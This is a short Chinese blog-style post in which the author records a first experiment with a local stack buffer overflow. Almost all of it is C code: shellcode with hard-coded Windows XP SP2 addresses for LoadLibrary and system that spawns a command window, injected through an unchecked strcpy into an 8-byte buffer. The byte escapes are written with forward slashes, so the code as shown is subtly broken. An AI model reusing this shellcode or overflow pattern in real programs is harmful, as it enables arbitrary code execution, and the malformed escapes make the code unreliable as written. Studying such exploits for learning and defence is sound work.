本地緩衝區溢位

今天看了下緩衝區溢位，總算是瞭解了個大概，並且嘗試了本地的緩衝區溢位，代碼如下：

#include<windows.h><br />char strShellcode[] =<br />"/x41/x41/x41/x41"<br />"/x41/x41/x41/x41"<br />"/x22/x33/x44/x55"<br />"/x12/x45/xfa/x7f"<br />//以下是shellcode 開dos視窗<br />"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"<br />"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"<br />"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"<br />"/x77/x1d/x80/x7c" //LoadLibray XPSP2上地址為 7c801d77<br />"/x52/x8D/x45/xF4/x50/xFF/x55/xF0"<br />"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"<br />"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"<br />"/x50/xB8"<br />"/xc7/x93/xbf/x77" //system XPSP2上地址為 77bf93c7<br />"/xFF/xD0" //call eax<br />"/x83/xC4/x12/x5D"; //平衡堆棧<br />int main()<br />{<br /> char name[8];<br /> strcpy(name,strShellcode);<br /> return 0;<br />}